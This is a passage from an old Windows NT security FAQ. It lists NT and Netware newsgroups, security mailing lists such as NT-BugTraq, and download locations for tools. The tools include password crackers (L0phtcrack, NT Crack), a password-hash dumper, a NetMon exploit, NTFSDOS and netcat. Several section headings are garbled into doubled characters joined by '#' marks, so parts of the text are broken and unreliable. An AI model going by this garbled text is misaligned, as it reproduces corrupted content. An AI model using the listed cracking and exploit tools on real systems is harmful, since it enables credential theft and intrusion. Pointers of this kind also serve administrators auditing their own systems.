windows NT Security: comp.os.ms-windows.nt.admin.security NT in general: comp.os.ms-windows.networking.misc comp.os.mswindows.networking.ras comp.os.ms-windows.networking.tcp-ip comp.os.ms-windows.networking.win95 comp.os.mswindows.networking.windows comp.os.ms-windows.nt.admin.misc comp.os.ms-windows.nt.admin.networking comp.os.ms-windows.nt.advocacy comp.os.ms-windows.nt.announce comp.os.ms-windows.nt.misc comp.os.mswindows.nt.pre-release comp.os.ms-windows.nt.setup.hardware comp.os.ms-windows.nt.setup.misc comp.os.mswindows.nt.software.backoffice comp.os.mswindows.nt.software.compatibility comp.os.mswindows.nt.software.services comp.os.ms-windows.programmer.networks comp.os.ms-windows.programmer.nt.kernel-mode Netware Security: comp.os.netware.security Netware in general: comp.os.netware.misc comp.os.netware.announce comp.os.netware.connectivity Microsoft's newsgroups: microsoft.public.windowsnt.40beta microsoft.public.windowsnt.apps microsoft.public.windowsnt.domain microsoft.public.windowsnt.dsmnfpnw microsoft.public.windowsnt.fsft microsoft.public.windowsnt.mac microsoft.public.windowsnt.mail microsoft.public.windowsnt.misc microsoft.public.windowsnt.print microsoft.public.windowsnt.protocol.misc microsoft.public.windowsnt.protocol.ras microsoft.public.windowsnt.protocol.tcpip microsoft.public.windowsnt.setup 2#29#9.#.3#3.#. W#Wh#ha#at#t a#ar#re#e s#so#om#me#e s#se#ec#cu#ur#ri#it#ty#y-#r#re#el#la#at#te#ed#d m#ma#ai#il#li#in#ng#g l#li#is#st#ts#s?#?

The NT-security mailing list: To subscribe, send a message with SUBSCRIBE in the body to ntsecurityrequest@iss.net.

NT-BugTraq: Like the BugTraq list, this is a full disclosure list. Send "subscribe ntbugtraq firstname lastname" (without the quotes) in the body of a message to listserv@listserv.ntbugtraq.com.

2#29#9.#.4#4.#.

F#FA#AQ#Qs#s?#?

W#Wh#ha#at#t a#ar#re#e s#so#om#me#e o#ot#th#he#er#r

The NT Security FAQ -- geared toward administrators: http://www.it.kth.se/~rom/ntsec.html <http://www.it.kth.se/~rom/ntsec.html> 2#29#9.#.5#5.#.

W#Wh#he#er#re#e a#ar#re#e a#al#ll#l o#of#f t#th#he#es#se#e

f#fi#il#le#es#s m#me#en#nt#ti#io#on#ne#ed#d i#in#n t#th#he#e F#FA#AQ#Q?#?

Archive ---------------c50a-nt-0.20.tgz cifs.txt lc15src.tar.gz lc15exe.zip lc15src.zip L0phtcrack 2.0 windowsnt.tgz ncnt090.zip netmonex.tgz NTCrack.tar.gz ntfsdos.zip passwd.zip pwdump.exe samba-* smbfs-2.0.1.tgz tpu.zip

What Is It Where Is It ---------------- ----------------------------------------Crack 5.0 for NT http://www.nmrc.org/files/snt/ Hobbit's NetBios http://199.103.168.8:2001/web1/hak/cifs.txt Paper L0phtcrack 1.5 \ for Unix \ L0phtcrack 1.5 \ ftp://dot.ishboo.com/l0pht/ for DOS/NT / http://www.nmrc.org/files/snt/ L0phtcrack 1.5 / DOS/NT source / Main shareware http://www.l0pht.com/l0phtcrack/ package Netbios Auditing ftp://ftp.secnet.com/pub/tools/ Tool 1.0 Netcat for NT http://www.nmrc.org/files/nt/ NetMon Exploit http://www.nmrc.org/files/nt/ NT Crack 2.0 http://www.nmrc.org/files/snt/ NTFS Access http://www.nmrc.org/files/nt/ Passwd http://wwwthep.physik.uni-mainz.de/~frink Password Dump http://www.nmrc.org/files/snt Samba ftp://samba.anu.edu.au/pub/samba/ smbmount sunsite.unc.edu/pub/Linux/filesystems/smbfs Therion's http://www.nmrc.org/files/msdos/ Password Utility